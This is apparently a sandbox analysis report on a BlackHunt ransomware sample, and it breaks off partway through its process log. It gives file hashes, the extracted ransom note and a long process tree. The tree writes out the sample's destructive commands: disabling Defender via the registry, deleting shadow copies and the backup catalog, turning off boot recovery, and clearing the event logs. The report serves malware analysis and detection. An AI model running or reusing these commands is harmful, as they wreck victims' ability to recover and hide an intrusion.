Overview

overview

10

Static

static

f725792a5e...1f.exe

windows7-x64

10

f725792a5e...1f.exe

windows10-2004-x64

10

Analysis

  • max time kernel
    52s
  • max time network
    46s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    26/12/2022, 10:59

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe

  • Size

    718KB

  • MD5

    d7a24de75b761cb98f580dafda4ba885

  • SHA1

    86dc51cfc817937f9525b8aa2fa71e918288a44d

  • SHA256

    f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f

  • SHA512

    c3fd50a296b4d251a614816756eb17632779c0ef0e72826d9d276ccae8b1689ca0523a22027509ce20bf125f858f713b08967ae55501c457bc9d8fca956b0e9e

  • SSDEEP

    12288:YuLRIEFPULfzlsH5HCSSv5zEWptZ/Vlt:YeRIEF6zlsu5AWptRVlt

Score
10/10
evasionpersistenceransomwaretrojan

Malware Config

Extracted

Path

C:\ProgramData\#BlackHunt_ReadMe.hta

Ransom Note
YOUR WHOLE NETWORK HAS BEEN PENETRATED BY Black Hunt ! We also have uploaded your sensitive data, which we Will leak or sell in case of no cooperation! Restore your data possible only buying private key from us ATTENTION remember, there are many middle man services out there pretending that they can recover or decrypt your files , whom neither will contact us or scam you, Remember we are first and last solution for your files otherwise you will only waste money and time trying to decrypt your files without our decryptor and through third party softwares will make your files completely useless, there is no third party decryptor since we are the only key holders we have uploaded many critical data and information from your machines , we won't leak or sell any of them in Case of successful Corporation, however if we don't hear from you in 14 days we will either sell or leak your data in many forums Remain all of your files untouched, do not change their name, extension and... CONTACT US Your system is offline. in order to contact us you can email this address [email protected] this ID ( fTzI0OtPuLCVZME3 ) for the title of your email. If you weren't able to contact us whitin 24 hours please email: [email protected] Check your data situation in http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion
URLs

http://sdjf982lkjsdvcjlksaf2kjhlksvvnktyoiasuc92lf.onion

Signatures

  • Deletes NTFS Change Journal 2 TTPs 2 IoCs

    The USN change journal is a persistent log of all changes made to local files used by Windows Server systems.

    ransomware
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs
    evasiontrojan
  • UAC bypass 3 TTPs 1 IoCs
    evasiontrojan
  • Clears Windows event logs 1 TTPs 5 IoCs
    evasionransomware
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 4 IoCs
    ransomwareevasion
  • Deletes backup catalog 3 TTPs 2 IoCs

    Uses wbadmin.exe to inhibit system recovery.

    ransomware
  • Disables Task Manager via registry modification
    evasion
  • Disables use of System Restore points 1 TTPs
    evasion
  • Modifies extensions of user files 2 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Deletes itself 1 IoCs
  • Adds Run key to start application 2 TTPs 4 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 1 IoCs
    evasiontrojan
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 2 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Kills process with taskkill 1 IoCs
    evasion
  • Modifies registry class 8 IoCs
  • Suspicious behavior: CmdExeWriteProcessMemorySpam 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 17 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe
    "C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe"
    1⤵
    • UAC bypass
    • Modifies extensions of user files
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2040
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Black" /f
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1816
      • C:\Windows\system32\reg.exe
        reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Black" /f
        3⤵
        • Modifies registry class
        PID:1512
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Black\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
      2⤵
        PID:1576
        • C:\Windows\system32\reg.exe
          reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Black\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
          3⤵
            PID:628
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Black" /f
          2⤵
            PID:1252
            • C:\Windows\system32\reg.exe
              reg add "HKEY_LOCAL_MACHINE\Software\Classes\Black" /f
              3⤵
              • Modifies registry class
              PID:332
          • C:\Windows\System32\cmd.exe
            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Black\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
            2⤵
              PID:1612
              • C:\Windows\system32\reg.exe
                reg add "HKEY_LOCAL_MACHINE\Software\Classes\Black\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
                3⤵
                • Modifies registry class
                PID:1296
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
              2⤵
                PID:964
                • C:\Windows\system32\reg.exe
                  reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
                  3⤵
                    PID:608
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                  2⤵
                    PID:892
                    • C:\Windows\system32\reg.exe
                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
                      3⤵
                        PID:1824
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                      2⤵
                        PID:1404
                        • C:\Windows\system32\reg.exe
                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
                          3⤵
                            PID:1384
                        • C:\Windows\System32\cmd.exe
                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                          2⤵
                            PID:1756
                            • C:\Windows\system32\reg.exe
                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
                              3⤵
                                PID:1416
                            • C:\Windows\System32\cmd.exe
                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                              2⤵
                                PID:1804
                                • C:\Windows\system32\reg.exe
                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
                                  3⤵
                                    PID:1156
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                  2⤵
                                    PID:1740
                                    • C:\Windows\system32\reg.exe
                                      reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
                                      3⤵
                                        PID:1984
                                    • C:\Windows\System32\cmd.exe
                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                      2⤵
                                        PID:1516
                                        • C:\Windows\system32\reg.exe
                                          reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
                                          3⤵
                                            PID:628
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                          2⤵
                                            PID:1764
                                            • C:\Windows\system32\reg.exe
                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
                                              3⤵
                                                PID:1108
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                              2⤵
                                                PID:1268
                                                • C:\Windows\system32\reg.exe
                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
                                                  3⤵
                                                  • Suspicious use of WriteProcessMemory
                                                  PID:964
                                              • C:\Windows\System32\cmd.exe
                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                2⤵
                                                  PID:1748
                                                  • C:\Windows\system32\reg.exe
                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
                                                    3⤵
                                                      PID:1588
                                                  • C:\Windows\System32\cmd.exe
                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                    2⤵
                                                      PID:272
                                                      • C:\Windows\system32\reg.exe
                                                        reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
                                                        3⤵
                                                          PID:980
                                                      • C:\Windows\System32\cmd.exe
                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                        2⤵
                                                          PID:924
                                                          • C:\Windows\system32\reg.exe
                                                            reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
                                                            3⤵
                                                            • Adds Run key to start application
                                                            PID:608
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                          2⤵
                                                            PID:1664
                                                            • C:\Windows\system32\reg.exe
                                                              reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
                                                              3⤵
                                                                PID:1104
                                                            • C:\Windows\System32\cmd.exe
                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                              2⤵
                                                                PID:1580
                                                                • C:\Windows\system32\reg.exe
                                                                  reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                  3⤵
                                                                    PID:1416
                                                                • C:\Windows\System32\cmd.exe
                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                  2⤵
                                                                    PID:1380
                                                                    • C:\Windows\system32\reg.exe
                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
                                                                      3⤵
                                                                        PID:1492
                                                                    • C:\Windows\System32\cmd.exe
                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                      2⤵
                                                                        PID:1504
                                                                        • C:\Windows\system32\reg.exe
                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
                                                                          3⤵
                                                                            PID:296
                                                                        • C:\Windows\System32\cmd.exe
                                                                          "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                          2⤵
                                                                            PID:1080
                                                                            • C:\Windows\system32\reg.exe
                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
                                                                              3⤵
                                                                              • Modifies Windows Defender Real-time Protection settings
                                                                              PID:1384
                                                                          • C:\Windows\System32\cmd.exe
                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                            2⤵
                                                                              PID:1824
                                                                              • C:\Windows\system32\reg.exe
                                                                                reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
                                                                                3⤵
                                                                                  PID:1540
                                                                              • C:\Windows\System32\cmd.exe
                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                                2⤵
                                                                                  PID:1216
                                                                                  • C:\Windows\system32\reg.exe
                                                                                    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
                                                                                    3⤵
                                                                                      PID:760
                                                                                  • C:\Windows\System32\cmd.exe
                                                                                    "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                    2⤵
                                                                                      PID:740
                                                                                      • C:\Windows\system32\reg.exe
                                                                                        reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
                                                                                        3⤵
                                                                                          PID:1584
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                        2⤵
                                                                                          PID:1984
                                                                                          • C:\Windows\system32\reg.exe
                                                                                            reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
                                                                                            3⤵
                                                                                              PID:1664
                                                                                          • C:\Windows\System32\cmd.exe
                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                            2⤵
                                                                                            • Suspicious use of WriteProcessMemory
                                                                                            PID:1804
                                                                                            • C:\Windows\system32\reg.exe
                                                                                              reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
                                                                                              3⤵
                                                                                                PID:1492
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                              2⤵
                                                                                                PID:1608
                                                                                                • C:\Windows\system32\reg.exe
                                                                                                  reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
                                                                                                  3⤵
                                                                                                    PID:296
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                  2⤵
                                                                                                    PID:1568
                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                      reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
                                                                                                      3⤵
                                                                                                        PID:1640
                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                      "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                      2⤵
                                                                                                        PID:1600
                                                                                                        • C:\Windows\system32\reg.exe
                                                                                                          reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
                                                                                                          3⤵
                                                                                                            PID:1592
                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                          "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityService" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe -backups " /f
                                                                                                          2⤵
                                                                                                            PID:1616
                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                              REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "SecurityService" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe -backups " /f
                                                                                                              3⤵
                                                                                                              • Adds Run key to start application
                                                                                                              PID:1416
                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                            "C:\Windows\System32\cmd.exe" /c SchTasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Update service Windows System" /TR "C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe -backups" /f
                                                                                                            2⤵
                                                                                                              PID:1784
                                                                                                              • C:\Windows\system32\schtasks.exe
                                                                                                                SchTasks.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Update service Windows System" /TR "C:\Users\Admin\AppData\Local\Temp\f725792a5ef0512f3c5356d79fb3be5afcbaffaa4af41498342f7d09d703761f.exe -backups" /f
                                                                                                                3⤵
                                                                                                                • Creates scheduled task(s)
                                                                                                                PID:1444
                                                                                                            • C:\Windows\System32\cmd.exe
                                                                                                              "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
                                                                                                              2⤵
                                                                                                                PID:1620
                                                                                                                • C:\Windows\system32\vssadmin.exe
                                                                                                                  vssadmin.exe Delete Shadows /all /quiet
                                                                                                                  3⤵
                                                                                                                  • Interacts with shadow copies
                                                                                                                  PID:1680
                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
                                                                                                                2⤵
                                                                                                                  PID:1268
                                                                                                                  • C:\Windows\system32\bcdedit.exe
                                                                                                                    bcdedit /set {default} recoveryenabled No
                                                                                                                    3⤵
                                                                                                                    • Modifies boot configuration data using bcdedit
                                                                                                                    PID:1676
                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                  2⤵
                                                                                                                    PID:1352
                                                                                                                    • C:\Windows\system32\bcdedit.exe
                                                                                                                      bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
                                                                                                                      3⤵
                                                                                                                      • Modifies boot configuration data using bcdedit
                                                                                                                      PID:924
                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                    "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
                                                                                                                    2⤵
                                                                                                                      PID:1756
                                                                                                                      • C:\Windows\system32\fsutil.exe
                                                                                                                        fsutil.exe usn deletejournal /D C:
                                                                                                                        3⤵
                                                                                                                        • Deletes NTFS Change Journal
                                                                                                                        • Suspicious use of WriteProcessMemory
                                                                                                                        PID:1612
                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                      "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
                                                                                                                      2⤵
                                                                                                                        PID:1472
                                                                                                                        • C:\Windows\system32\wbadmin.exe
                                                                                                                          wbadmin.exe delete catalog -quiet
                                                                                                                          3⤵
                                                                                                                          • Deletes backup catalog
                                                                                                                          PID:828
                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                        "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                        2⤵
                                                                                                                          PID:932
                                                                                                                          • C:\Windows\system32\schtasks.exe
                                                                                                                            schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
                                                                                                                            3⤵
                                                                                                                              PID:240
                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                            "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
                                                                                                                            2⤵
                                                                                                                              PID:1340
                                                                                                                              • C:\Windows\system32\fsutil.exe
                                                                                                                                fsutil usn deletejournal /D C:\
                                                                                                                                3⤵
                                                                                                                                  PID:640
                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
                                                                                                                                2⤵
                                                                                                                                  PID:1544
                                                                                                                                  • C:\Windows\system32\fsutil.exe
                                                                                                                                    fsutil usn deletejournal /D M:\
                                                                                                                                    3⤵
                                                                                                                                    • Enumerates connected drives
                                                                                                                                    PID:2044
                                                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                                                  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
                                                                                                                                  2⤵
                                                                                                                                    PID:1212
                                                                                                                                    • C:\Windows\system32\wevtutil.exe
                                                                                                                                      wevtutil.exe cl Setup
                                                                                                                                      3⤵
                                                                                                                                      • Clears Windows event logs
                                                                                                                                      • Suspicious use of AdjustPrivilegeToken
                                                                                                                                      PID:2080
                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                    "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
                                                                                                                                    2⤵
                                                                                                                                      PID:1804
                                                                                                                                      • C:\Windows\system32\wevtutil.exe
                                                                                                                                        wevtutil.exe cl System
                                                                                                                                        3⤵
                                                                                                                                        • Clears Windows event logs
                                                                                                                                        • Suspicious use of AdjustPrivilegeToken
                                                                                                                                        PID:1720
                                                                                                                                    • C:\Windows\System32\cmd.exe
                                                                                                                                      "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
                                                                                                                                      2⤵
                                                                                                                                        PID:1404
                                                                                                                                        • C:\Windows\system32\wevtutil.exe
                                                                                                                                          wevtutil.exe cl Application
                                                                                                                                          3⤵
                                                                                                                                          • Clears Windows event logs
                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                          PID:2332
                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                        "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
                                                                                                                                        2⤵
                                                                                                                                          PID:1880
                                                                                                                                          • C:\Windows\system32\wevtutil.exe
                                                                                                                                            wevtutil.exe cl Security
                                                                                                                                            3⤵
                                                                                                                                            • Clears Windows event logs
                                                                                                                                            • Suspicious use of AdjustPrivilegeToken
                                                                                                                                            PID:2276
                                                                                                                                        • C:\Windows\System32\cmd.exe
                                                                                                                                          "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
                                                                                                                                          2⤵
                                                                                                                                            PID:1004
                                                                                                                                            • C:\Windows\system32\wevtutil.exe
                                                                                                                                              wevtutil.exe cl Security /e:false
                                                                                                                                              3⤵
                                                                                                                                              • Clears Windows event logs
                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                              PID:2252
                                                                                                                                          • C:\Windows\System32\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                            2⤵
                                                                                                                                              PID:272
                                                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                                                reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
                                                                                                                                                3⤵
                                                                                                                                                  PID:2340
                                                                                                                                              • C:\Windows\System32\cmd.exe
                                                                                                                                                "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                2⤵
                                                                                                                                                  PID:1232
                                                                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                                                                    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
                                                                                                                                                    3⤵
                                                                                                                                                      PID:2324
                                                                                                                                                  • C:\Windows\System32\cmd.exe
                                                                                                                                                    "C:\Windows\System32\cmd.exe" /c REG DELETE "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "HealthService" /f
                                                                                                                                                    2⤵
                                                                                                                                                      PID:1680
                                                                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                                                                        REG DELETE "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "HealthService" /f
                                                                                                                                                        3⤵
                                                                                                                                                          PID:2204
                                                                                                                                                      • C:\Windows\System32\cmd.exe
                                                                                                                                                        "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
                                                                                                                                                        2⤵
                                                                                                                                                          PID:1320
                                                                                                                                                          • C:\Windows\system32\reg.exe
